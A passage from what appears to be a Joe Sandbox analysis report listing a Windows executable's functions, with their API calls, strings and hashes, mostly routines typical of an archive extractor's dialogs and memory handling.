String ID: *a!$-
API String ID: 9403516-1131528666
Opcode ID: 90e34993178ade5c870e71bfb3e2fca10c822ca9d95fb73a88271609b19e32e7
Instruction ID: 310f491578586b2c0bae970f4856d607419b687ccc402ad5a29879bfe6bb35a5
Opcode Fuzzy Hash: 90e34993178ade5c870e71bfb3e2fca10c822ca9d95fb73a88271609b19e32e7
Instruction Fuzzy Hash: 4921EA72404AC5A5D321EB6A980CB7FA6D8EF6531CF42441AF488C6543E774E8D4D7A3

Function 001EB820 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 001D12E7: GetDlgItem.USER32(00000000,00003021), ref: 001D132B
Part of subcall function 001D12E7: SetWindowTextW.USER32(00000000,002002E4), ref: 001D1341

EndDialog.USER32(?,00000001), ref: 001EB86B
GetDlgItemTextW.USER32(?,00000066,00000800), ref: 001EB881
SetDlgItemTextW.USER32(?,00000065,?), ref: 001EB89B
SetDlgItemTextW.USER32(?,00000066), ref: 001EB8A6

Strings

RENAMEDLG, xrefs: 001EB838

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: e30073ea435e12a6896ce25d6cba13ccd5a74453c5f538b772583bb6dd86fe27
Instruction ID: 8ba57edcdae8499e9e5f9ec6725f9456142dc643f0c77cbfb15849f352db1b9a
Opcode Fuzzy Hash: e30073ea435e12a6896ce25d6cba13ccd5a74453c5f538b772583bb6dd86fe27
Instruction Fuzzy Hash: 1901F532A483517AD2654AA6AE88F3B7B6CEB86B41F100416F200B22E0C356A8159772

Function 001F4ADF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,001F4A90,?,?,001F4A30,?,00207F68,0000000C,001F4B87,?,00000002), ref: 001F4AFF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 001F4B12
FreeLibrary.KERNEL32(00000000,?,?,?,001F4A90,?,?,001F4A30,?,00207F68,0000000C,001F4B87,?,00000002,00000000), ref: 001F4B35

Strings

mscoree.dll, xrefs: 001F4AF8
CorExitProcess, xrefs: 001F4B0A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 62efb6b77305bfe445ba473bcf28393aa35c686a465de55e50586d4c779e1231
Instruction ID: 1448dbdab566b236ea45fb62eafe8c0a1062cd1769fdb62fe5eaa3036b4ed872
Opcode Fuzzy Hash: 62efb6b77305bfe445ba473bcf28393aa35c686a465de55e50586d4c779e1231
Instruction Fuzzy Hash: 5DF04F30A00318BFDB159F95EC5DBAEBFB9EF08712F4040A5F905A2192DB748A44CB94

Function 001DDEB5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 001DF309: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 001DF324
Part of subcall function 001DF309: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,001DDEC8,Crypt32.dll,?,001DDF4A,?,001DDF2E,?,?,?,?), ref: 001DF346

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 001DDED4
GetProcAddress.KERNEL32(00211E58,CryptUnprotectMemory), ref: 001DDEE4

Strings

Crypt32.dll, xrefs: 001DDEBE
CryptProtectMemory, xrefs: 001DDECE
CryptUnprotectMemory, xrefs: 001DDEDA

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 10b243557d609cae9b226c6c2d8e430fca23b106966f63e44db27ecedf17b7af
Instruction ID: d245db8496c1b2d38ec72f22d4ed1c0b70e56e593d89f3f9322057478cded7d8
Opcode Fuzzy Hash: 10b243557d609cae9b226c6c2d8e430fca23b106966f63e44db27ecedf17b7af
Instruction Fuzzy Hash: 74E04FB0510743AEEB405B75A888B05FBA97B61710F108556F054C2A82DBB5D0B4CB54

Function 001F52F0 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 001F5362
_free.LIBCMT ref: 001F5382

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0b5f4e3fe86e4f83ff450da44838acf4dcbdebe721c99a658f0f750ddce26f3a
Instruction ID: 8bbd173c1a38c2b2a1d0cf23dc63f82371a208acf8565c79d7e0bdf1ee7ccc56
Opcode Fuzzy Hash: 0b5f4e3fe86e4f83ff450da44838acf4dcbdebe721c99a658f0f750ddce26f3a
Instruction Fuzzy Hash: C141BE32A007089FCB14DF78C895A6EB7B6FF88314F1545A9E715EB281EB71AD01CB80

Function 001F89AF Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 001F89B8
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001F89DB

Part of subcall function 001F59FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,001F23AA,?,0000015D,?,?,?,?,001F2F29,000000FF,00000000,?,?), ref: 001F5A2E

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 001F8A01
_free.LIBCMT ref: 001F8A14
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001F8A23

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 11e78f8c958a981d66a00fefdd5e0f1ca5389a018d47ee04bba12845cd38b8c8
Instruction ID: 8d58e316844a63171ed5b3d4e60da5c2190d87855185e23a4a01006e121a15ef
Opcode Fuzzy Hash: 11e78f8c958a981d66a00fefdd5e0f1ca5389a018d47ee04bba12845cd38b8c8
Instruction Fuzzy Hash: 04018472601A1D7F672566BA6C8CD7B69ADDAC6FA0315012AFE04D3102EF708C0185B1

Function 001F63A3 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,001F5E43,001F5ADF,?,001F634D,00000001,00000364,?,001F2213,?,?,0020CBE8), ref: 001F63A8
_free.LIBCMT ref: 001F63DD
_free.LIBCMT ref: 001F6404
SetLastError.KERNEL32(00000000,?,0020CBE8), ref: 001F6411
SetLastError.KERNEL32(00000000,?,0020CBE8), ref: 001F641A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: b8d0e5373263567438f2324c1ef68ee4a8eb264320853d766dc73f625acc8835
Instruction ID: 92f487ab6578ac31c1ff3f00ec9d78777de1fb045bb23764cd8b9034ac79a6e6
Opcode Fuzzy Hash: b8d0e5373263567438f2324c1ef68ee4a8eb264320853d766dc73f625acc8835
Instruction Fuzzy Hash: 4001F476345B086BD70637243C8EE3B266EEBE1775B314138F72892283EF758C014160

Function 001F926A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 001F9282

Part of subcall function 001F59C2: RtlFreeHeap.NTDLL(00000000,00000000,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?), ref: 001F59D8
Part of subcall function 001F59C2: GetLastError.KERNEL32(?,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?,?), ref: 001F59EA

_free.LIBCMT ref: 001F9294
_free.LIBCMT ref: 001F92A6
_free.LIBCMT ref: 001F92B8
_free.LIBCMT ref: 001F92CA

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 07534dc2a7de2c556a7727b2e4f8b344ee0dcdefa6d6a12eca21e2f6e9503f66
Instruction ID: 5ea6def98c5981865653494eb6acabcc1644edfcb263f92bcdc12b3fa5c5058e
Opcode Fuzzy Hash: 07534dc2a7de2c556a7727b2e4f8b344ee0dcdefa6d6a12eca21e2f6e9503f66
Instruction Fuzzy Hash: 6DF01232605B08FBCB64FB58F98AD6677EABA107207948805F649D7612C774FC808A54

Function 001F553F Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001F555D

Part of subcall function 001F59C2: RtlFreeHeap.NTDLL(00000000,00000000,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?), ref: 001F59D8
Part of subcall function 001F59C2: GetLastError.KERNEL32(?,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?,?), ref: 001F59EA

_free.LIBCMT ref: 001F556F
_free.LIBCMT ref: 001F5582
_free.LIBCMT ref: 001F5593
_free.LIBCMT ref: 001F55A4

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b86b3d7fcda98a08c7cbec79cad0c3730257d12ac8e7f511d76a0742325ee620
Instruction ID: 582eebf1f796a2af3cf1f15f4ea5526e1cf62d9997e8ae44ef920cd36fb5756b
Opcode Fuzzy Hash: b86b3d7fcda98a08c7cbec79cad0c3730257d12ac8e7f511d76a0742325ee620
Instruction Fuzzy Hash: 6BF054B0911B55EBCF26AF98BD0D4183B76B7247303855246F60056B72C7790803DB83

Function 001D7463 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D7468

Part of subcall function 001D3AA3: __EH_prolog.LIBCMT ref: 001D3AA8

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000), ref: 001D752E

Part of subcall function 001D7A9D: GetCurrentProcess.KERNEL32(00000020,?), ref: 001D7AAC
Part of subcall function 001D7A9D: GetLastError.KERNEL32 ref: 001D7AF2
Part of subcall function 001D7A9D: CloseHandle.KERNEL32(?), ref: 001D7B01

Strings

SeRestorePrivilege, xrefs: 001D74C1
SeSecurityPrivilege, xrefs: 001D74AC

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 542eb909c809ec91317bc82519a142d3280e73e9102c40cefd67a2a06cfa609f
Instruction ID: 7e908958892ec450e5962d0ca8576319364593cead74f829112d2f8ebc20c8c3
Opcode Fuzzy Hash: 542eb909c809ec91317bc82519a142d3280e73e9102c40cefd67a2a06cfa609f
Instruction Fuzzy Hash: A531C071A04348AEDF10EF68FC46BEEBB68AF55314F10402AF849A73D2E7744A44C762

Function 001E9123 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 001D12E7: GetDlgItem.USER32(00000000,00003021), ref: 001D132B
Part of subcall function 001D12E7: SetWindowTextW.USER32(00000000,002002E4), ref: 001D1341

EndDialog.USER32(?,00000001), ref: 001E91AB
GetDlgItemTextW.USER32(?,00000065,00000000,?), ref: 001E91C0
SetDlgItemTextW.USER32(?,00000065,?), ref: 001E91D5

Strings

ASKNEXTVOL, xrefs: 001E913B

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 3e23294a7d4518ae39257e581ee37e1bfab2b49d249ba9f839c5cdd5d2fd392e
Instruction ID: 3d375753ff73aa72d803bcbfbe16f2c6553d14c6f26ff085e42b68c3df829148
Opcode Fuzzy Hash: 3e23294a7d4518ae39257e581ee37e1bfab2b49d249ba9f839c5cdd5d2fd392e
Instruction Fuzzy Hash: 0D110832245B82BFD215AFE6ED4DF5E3BA9EF4A711F014011F2029B5A1C3629C52DB22

Function 001EBFAA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

DialogBoxParamW.USER32(GETPASSWORD1,?,001E9646,?,?), ref: 001EC022

Strings

GETPASSWORD1, xrefs: 001EC017
*a!, xrefs: 001EBFC8
*a!, xrefs: 001EC065

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: DialogParam
String ID: *a!$*a!$GETPASSWORD1
API String ID: 665744214-2514903404
Opcode ID: c1e2b9e58451f3a65e192fa75f02e6e0ee927a46caee8d6bfbb98fdd60269220
Instruction ID: 38f347c87a527d927a97abde33b0c2a37ee93fdb5917c41d8ae592ab24bff741
Opcode Fuzzy Hash: c1e2b9e58451f3a65e192fa75f02e6e0ee927a46caee8d6bfbb98fdd60269220
Instruction Fuzzy Hash: 80119732254388ABDB21CE25BC49BEE3798BB19750F144069FD08A71C2DBB45C90D7E0

Function 001E9646 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 001D12E7: GetDlgItem.USER32(00000000,00003021), ref: 001D132B
Part of subcall function 001D12E7: SetWindowTextW.USER32(00000000,002002E4), ref: 001D1341

EndDialog.USER32(?,00000001), ref: 001E9694
GetDlgItemTextW.USER32(?,00000065,?,00000080), ref: 001E96AC
SetDlgItemTextW.USER32(?,00000066,?), ref: 001E96DA

Strings

GETPASSWORD1, xrefs: 001E965F

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: e4fddc0b7188dc2e73161356da33d1a80091eba365cefeac772754926ea68c33
Instruction ID: 4569e845e7cd4d64804b7134ec8eb028dad508157ae38ede1cb2769b934271ae
Opcode Fuzzy Hash: e4fddc0b7188dc2e73161356da33d1a80091eba365cefeac772754926ea68c33
Instruction Fuzzy Hash: 4C110432A0021877DB219E65AD49FFE377CEB1D750F010022FA49E65C1C3A5AE5097B1

Function 001DB100 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 001DB127

Part of subcall function 001D3F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001D3F6E

_wcschr.LIBVCRUNTIME ref: 001DB145
_wcschr.LIBVCRUNTIME ref: 001DB155

Strings

%c:\, xrefs: 001DB11D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 34832f88f1447ccc3361742ab5adc9f255bd5ba75142a2b59cf908efa210e858
Instruction ID: 0af56cc14e07efe8704c5b883f740b02bfd68e043b395cd781352c4eff443dce
Opcode Fuzzy Hash: 34832f88f1447ccc3361742ab5adc9f255bd5ba75142a2b59cf908efa210e858
Instruction Fuzzy Hash: 7F01F917508315B5D730AB75ACC1D7BB7ACEFA6360B55451BF945C2282FB34D850C2A1

Function 001DF930 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(000001A0,00211E74,00000000,?,?,001DFB88,00000020,?,001DA7C2,?,001DC74B,?,00000000,?,00000001,?), ref: 001DF969
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,001DA7C2,?,001DC74B,?,00000000,?,00000001,?,?,?,001E3AFF), ref: 001DF973
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,001DA7C2,?,001DC74B,?,00000000,?,00000001,?,?,?,001E3AFF), ref: 001DF983

Strings

Thread pool initialization failed., xrefs: 001DF99B

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 9a8f16a5a46e87f79fb0b0a7020e48b297a54d6a776428a2ec424199084ebe08
Instruction ID: d445cbd151e8b011d1134f2eee633aec00405284147de7ff008b052a880fe574
Opcode Fuzzy Hash: 9a8f16a5a46e87f79fb0b0a7020e48b297a54d6a776428a2ec424199084ebe08
Instruction Fuzzy Hash: EF112EB1A00705AFD3205F659899BA7FBECEB65359F10482FF2DE82241DB716841CB50

Function 001EBEE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 001EBF42
REPLACEFILEDLG, xrefs: 001EBF2C, 001EBF5E

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: a3f1875606110f28c153ccc4e21d39ae94cfb88d5980493b2151faa09b8a0fe1
Instruction ID: 885bb91782f709394a80d6d07c267f841f9802d10e58d99e466e018c834c94e2
Opcode Fuzzy Hash: a3f1875606110f28c153ccc4e21d39ae94cfb88d5980493b2151faa09b8a0fe1
Instruction Fuzzy Hash: 2F019E7260D385AFC710CB2AFC88E2BBBA9EB59394F014526F54192231D7219C25DFA1

Function 001DCE48 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 001DCE57
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 001DCE66

Strings

RTL, xrefs: 001DCE5F, 001DCE64, 001DCE98
LTR, xrefs: 001DCE76, 001DCE81, 001DCE8A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: 3ce511cd4e1dfac355d5d8fc4b6e4c3d079ff7f75285083aefe6d9f57e7be667
Instruction ID: 24fc1e929bcff26211c0adecd406279d6c1a7cce6feb523b43fab95fba4cb917
Opcode Fuzzy Hash: 3ce511cd4e1dfac355d5d8fc4b6e4c3d079ff7f75285083aefe6d9f57e7be667
Instruction Fuzzy Hash: 20F0247161431867F72466B56C0AFA73BACE785B00F1046AEF645871C1DFA1990887F4

Function 001F6552 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001F65DD
__alldvrm.LIBCMT ref: 001F67DE
__alldvrm.LIBCMT ref: 001F6800

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
